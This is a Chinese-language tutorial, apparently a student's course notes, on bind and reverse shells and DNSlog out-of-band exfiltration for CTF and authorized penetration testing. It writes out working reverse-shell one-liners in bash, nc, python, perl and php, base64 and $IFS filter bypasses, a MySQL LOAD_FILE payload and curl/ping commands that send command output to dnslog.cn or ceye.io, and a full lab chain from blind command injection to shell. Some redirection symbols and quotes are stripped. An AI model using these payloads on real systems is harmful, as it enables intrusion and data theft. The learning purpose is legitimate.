
开门见山说个现象不管你是打CTF还是做授权渗透测试反弹shell这一关基本绕不过去而一说到反弹shell就躲不开正反向连接的区别、各种语言构造姿势以及在没有回显时怎么用DNSlog带外查询把数据偷出来。Day5这部分内容学完我最大的感受是这四件事其实是一条线——先想明白目标环境能不能连我们再决定用正向还是反向拿到执行权限后如果输出被截断就靠DNSlog建立一条隐蔽的带外通道。这篇文章就把我整理的笔记展开讲透适合刚接触Web安全、喜欢在CTF靶场练手的朋友也适合做等保和红队评估的兄弟当作复习材料。1. 为什么要分清正反向连接先弄懂谁找谁很多初学者卡在反弹shell这个概念上其实是没理解网络连接的方向。常规我们访问网站是浏览器主动向服务器的80或443端口发起连接这是“客户端找服务端”。但到了获得shell这个场景方向往往会反过来背后的核心原因是目标主机处在复杂网络环境里我们很难直接连进去。1.1 正向连接bind shell的工作逻辑正向连接是最符合直觉的方式受害机上开启一个监听端口攻击机主动去连这个端口连上之后就能拿到一个交互式shell所以也叫bind shell。# 受害机执行监听本地4444端口 nc -lvnp 4444 -e /bin/bash# 攻击机执行主动连接受害机IP nc 192.168.1.10 4444这种方式有个比较苛刻的前提受害机必须有一个公网IP或者攻击机能直接访问到受害机的监听端口。现实里受害者躲在NAT后面或者云主机有安全组策略限制入站流量这个监听端口根本不会被外面访问到。所以真实场景里正向连接越来越少见只适合内网横向、双方网络互通明确的情况。1.2 反向连接reverse shell解决什么问题反向连接的思路反过来攻击机先在自己机器上开一个监听端口然后想办法让受害机主动往这个端口发起连接连接建立后shell的输入输出都通过这条通道传输。这就是反弹shell的核心含义——“反弹”指目标反过来连我们。# 攻击机先监听本地4444端口 nc -lvnp 4444# 受害机执行反弹命令 bash -i /dev/tcp/10.0.0.1/4444 01反向连接的好处很明显受害机只需要能访问外网通常都能访问不需要开放任何入站端口就能把shell“弹”到我们的监听端口上。这非常契合现实环境因为大多数网络出口方向是放通的出站连接比入站连接容易得多。CTF靶场里几乎所有涉及getshell的题目默认都是用反弹shell。1.3 攻击场景下的选型逻辑总结一下我的选型经验直接给结论场景正向连接反向连接目标有公网IP且无防火墙入站限制可用可用目标在NAT后攻击机能直达可用更推荐目标出站流量宽松入站受限基本不可用强烈推荐没有交互式shell只有命令执行不可用推荐并配合编码实际渗透测试里遇到漏洞点后我会先判断出站规则如果确认目标能往外连就无脑选择反弹shell。只有在内网横向、多级跳板的情况下我才会考虑正向连接因为正向连接的流量特征相对更接近正常业务。不能只会一种姿势两个方向都得熟练不然遇到限制就只能干瞪眼。2. 反弹shell构造的核心手法与参数拆解反弹shell的构造方式可以说是百花齐放但底层逻辑都差不多利用bash等解释器的网络重定向能力或者用一门语言去建立socket连接然后把标准输入、输出、错误都dup到socket上去。下面逐个拆解我常用的手法。2.1 bash一句话反弹的底层逻辑最经典的bash反弹命令长这样bash -i /dev/tcp/10.0.0.1/4444 01很多教程只让你背命令没说里面每个符号在干嘛。我拆开讲bash -i启动一个交互式的bash交互模式才会有提示符方便我们输命令。把标准输出和标准错误都重定向到后面指定的位置。/dev/tcp/10.0.0.1/4444这是bash的一个特性它把tcp连接抽象成了文件路径只要bash支持/dev/tcp访问这个路径就等于建立一个到10.0.0.1:4444的TCP连接。01把标准输入重定向到标准输出所在的socket上这样我们敲的命令才能从socket读进来。连起来理解就是bash把它的输入输出都接到了我们监听的4444端口上我们看到的就是一个完整的交互式shell。实测下来bash反弹在绝大多数Linux主机上都好使唯一要注意的是有些精简容器镜像里的默认shell不是bash或者/dev/tcp被禁用这时候就得换别的姿势。2.2 nc、python、perl等常见替代方案如果目标机器没有bash或者/dev/tcp不可用我一般按这个顺序换方案。nc反弹nc -e /bin/sh 10.0.0.1 4444-e参数表示连接建立后执行指定程序。这个命令虽然简单但有两个坑一是传统nc和openbsd nc的行为不一样有些版本不支持-e二是Windows下的nc用法也不同而且要小心被杀软拦。如果不支持-e可以用命名管道的组合拳rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 10.0.0.1 4444 /tmp/fpython反弹python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.0.0.1,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i])这串代码是教科书级的思路先建socket连接再用dup2把标准输入、标准输出、标准错误都复制到socket的文件描述符上最后启动一个交互式shell。dup2这个设计在反弹shell里非常关键理解了它你看到任何语言的反弹代码都能一眼看懂。如果目标环境是Python3写法稍微变一下把subprocess.call参数改成[/bin/sh,-i]基本通用。perl、ruby、php等perl -e use Socket;$i10.0.0.1;$p4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};php -r $sockfsockopen(10.0.0.1,4444);exec(/bin/sh -i 3 3 23);这些语言反弹的代码看着长但核心没变建立socket、重定向标准输入输出、启动shell。初学阶段不需要每种都背但至少要把bash、nc、python三种练熟实际漏洞利用时目标环境是什么语言栈就选什么姿势会快很多。2.3 编码绕过和常见坑位反弹命令经常要经过Web传参、命令注入点执行这时特殊字符很容易被过滤。比如我们通过一个URL参数传递命令空格、分号、尖括号都可能被WAF或者代码逻辑拦掉。我常用的绕过思路有这几类用$IFS代替空格bash$IFS-dc...这类写法可以骗过简单的空格过滤。base64编码整条命令把反弹命令base64一下目标机器上解码再执行可以绕过很多关键字过滤。echo YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAJjE | base64 -d | bash使用/bin/bash的-c参数配合printf拼接如果分号被过滤可以拆成多段再拼接但复杂度会上去新手先掌握base64就够用很长时间。踩坑记录我最早练习时总把攻击机的监听写错IP本机监听必须写0.0.0.0而不是127.0.0.1另外防火墙也会静默丢弃入站连接所以监听前先确认端口能被外部访问。还有一个隐蔽的坑在容器里用python反弹时如果Python环境是精简版缺少socket模块会直接报错这时候检查一下python版本和可用模块。3. DNSlog带外查询没回显时的数据传输思路反弹shell算是有去有回目标环境允许TCP出站就可以。但有些情况下我们连命令执行都没有回显就像对着山谷喊话却没有回声这时候就要用到DNSlog带外查询。这也是Day5笔记里我觉得最惊喜的部分思路很巧妙。3.1 为什么需要带外通道带外查询英文叫Out-of-Band缩写OOB。常规注入或者命令执行我们直接把结果输出在页面上这叫带内传输。但很多实战场景里结果根本出不来页面没有任何显示、数据库报错被吞掉、命令执行后输出被重定向到黑洞。这时候我们就可以让目标环境去访问一个我们能控制的域名把数据夹带在DNS解析请求里发出来。DNSlog的核心思路就一句话让目标把数据放到一个我们可控域名的子域里然后通过DNS解析记录把数据带出来。3.2 DNSlog的工作原理拆解理解了DNS解析流程你就能理解为什么DNSlog能通。当目标机器执行了一条命令比如pingwhoami.xxx.dnslog.cn系统会尝试解析whoami的结果加上xxx.dnslog.cn这个完整域名。本地DNS缓存没有就直接递归查询最终这个查询请求会打到dnslog.cn的权威DNS服务器上。我们登录dnslog平台后台就能看到这条解析记录的完整域名里面就包含了命令执行的结果。这里有一个关键点DNS解析请求本身是正常网络行为绝大多数防火墙和WAF不会拦DNS查询。所以DNSlog通道非常隐蔽这也是它成为无回显漏洞利用首选的原因。我用得比较多的是dnslog.cn和ceye.io两者注册使用都简单dnslog.cn实时性好ceye.io功能更多。用法上就是先分配一个二级域名然后通过各种方式触发目标发起DNS解析请求。3.3 实际使用流程从无回显SQL注入到命令执行先看无回显SQL注入怎么用DNSlog。假设某个SQL注入点页面永远没输出但我们判断数据库能执行函数。MySQL环境下可以这样SELECT LOAD_FILE(CONCAT(\\\\, (SELECT DATABASE()), .xxx.dnslog.cn\\abc));load_file是读取文件的函数传入的参数如果是一个UNC路径MySQL就会尝试访问这个网络路径从而触发一次DNS解析。我们在dnslog后台看到类似testdb.xxx.dnslog.cn的解析记录就能确认注入存在并且拿到数据库名。再看命令执行场景。假设我们有一个命令注入点但结果不回显curl http://whoami.xxx.dnslog.cnping whoami.xxx.dnslog.cn反引号里的whoami会先执行执行结果替换进去成为域名的一部分最终发起的DNS解析请求域名就是root.xxx.dnslog.cn这样的格式后台一看就知道当前用户是谁。虽然一次只能带一小段数据但用来确认漏洞存在、拿到关键标识信息效率非常高。注意DNSlog一次查询能携带的信息有限而且域名有长度限制只能是字母、数字和连字符。数据里如果包含特殊字符要提前做编码处理比如base64编码后再拼进域名拿到结果再解码。4. 一套完整的CTF靶场串联实战光看概念容易飘我建议你直接找个CTF靶场把整条链路跑通。下面这个例子是我在本地搭的一个模拟小场景完整覆盖“无回显注入识别—DNSlog取数—反弹shell拿权限”三个步骤。4.1 靶场环境准备本地环境我用的是这样一套组合攻击机Kali LinuxIP假设为192.168.1.100受害者一个Ubuntu容器跑着一个简易PHP应用存在一个命令注入点输出被代码逻辑屏蔽DNSlog直接用dnslog.cn分配的域名这个练习的关键是模拟真实线上环境页面没有回显不能直接看到命令结果。我特意把PHP代码里执行命令后的echo去掉就留一个system($cmd)的调用这样初学者能直观感受到“命令执行了但看不到结果”的困境。4.2 完整链路注入探测到反弹Shell第一步先在页面上测试命令注入点是否存在。输入id没有输出输入sleep 3发现页面响应慢了3秒这说明命令确实被执行了属于典型的无回显命令注入。第二步用DNSlog确认漏洞并获取基础信息curl http://hostname.xxxx.ceye.iodnslog后台很快就能看到解析记录里面是目标主机名漏洞确认无误。第三步构造反弹shell。这一步要把反弹命令编码防止特殊字符破坏命令注入点的结构echo bash -i /dev/tcp/192.168.1.100/4444 01 | base64得到base64字符串之后在注入点执行echo base64字符串 | base64 -d | bash攻击机这边提前开好监听nc -lvnp 4444如果一切正常监听窗口会弹出一个shell。我实测时比较常见的失败原因有两个一是容器镜像里没有bash只装了sh命令执行报错换成/bin/sh -i就解决二是容器网络出站受限需要调整docker网络配置。靶场里折腾一次比看十遍教程都有用。4.3 这个场景带给我们的启发这个链路的精妙之处在于它把所有知识点串起来了DNSlog解决“看不见”的问题反弹shell解决“够不着”的问题。真实授权测试时思路完全一样——先建立一条稳定可靠的带外通道确认漏洞存在和基本环境信息再根据环境选择反弹姿势拿到交互式shell后展开后续的内网工作。我建议练习时给自己设定严格条件比如“不允许使用带内输出”“脚本必须做到编码绕过”这样在真正遇到难搞的目标时心态和技术都稳得住。5. 常见问题与排查技巧实录这一节是我踩坑最多的地方很多问题看起来玄学其实原因就那么几个。整理成速查表省得大家再走弯路。5.1 反弹shell连不上的排查思路监听地址写错攻击机上必须监听0.0.0.0或内网对应IP监听127.0.0.1只能本机连自己我最早就在这里翻车。防火墙拦截Kali自带防火墙或者云主机安全组都可能静默丢弃入站连接。先把防火墙临时关掉或者放行对应端口再测试反弹。出站方向不通受害机可能根本访问不了攻击机的端口需要用带外方式来验证目标出站能力。命令格式错误bash -i /dev/tcp/ip/port 01这段在sh环境下会报错sh不认/dev/tcp这时候换python或者其他语言的反弹方式。监听窗口无反应但进程正常检查是不是攻击机的nc版本太老老版本nc不支持-e但作为监听方一般没问题。如果是Windows环境下的反弹命令要换用powershell版本。排查顺序我建议是先确认监听起来了且地址正确再从受害机反向测试能否到达攻击机IP的端口最后再逐字检查命令里的重定向符号。5.2 DNSlog收不到数据的排查要点DNSlog收不到记录是最让我头大的问题反复试错之后总结出了这几点平台域名没配对很多平台分配的域名带有随机子域拼接时少了一个点解析就会失败。命令执行不成功很多注入点是单引号闭合嵌套执行命令时引号转义出了问题可以先在本地环境验证一遍命令本身能否正常执行。请求被缓存同一个域名在目标机器上解析过一次后会有缓存第二次使用要换一个随机前缀。防火墙拦截DNS请求虽然少见但有些内网环境锁死了DNS出站只能换HTTP通道或其他带外方案。数据包含非法字符DNS域名里如果出现下划线、空格等字符解析会失败必须编码后再拼接。我一般会在命令里加入一个随机后缀比如curl http://xxxx.乱数.平台域名这样能避免缓存干扰也能区分多次尝试之间的请求。5.3 学习建议怎么练才算真正掌握练反弹shell和DNSlog没有捷径但有一个高效方法在本地起几台不同系统的虚拟机或者容器把每种反弹方式都真的弹一遍再人为制造“无回显”“出站受限”等故障逼自己换姿势解决问题。CTF靶场是很好的训练场DVWA、sqli-labs、upload-labs这些都是老牌练习环境配套的Writeup很多适合入门对照。我的个人体会是Day5这块内容的门槛不在于背命令而在于建立一种“通道思维”——当你拿到一个执行点但看不见输出时第一反应不是放弃而是想“我怎么让目标把数据通过一条合法流量发出来”。DNSlog、反弹shell、各种隧道工具本质都是通道思维的延伸。把这个思维焊在脑子里后面学代理、学隧道转发都会顺很多。另外强调一次这些技术一定要在授权的靶场、自己的实验环境或者合法合规的渗透测试项目里使用千万别手痒拿真实目标乱试惹上麻烦不值当。学技术的人首先要把行为边界搞清楚这比学会一万个姿势都重要。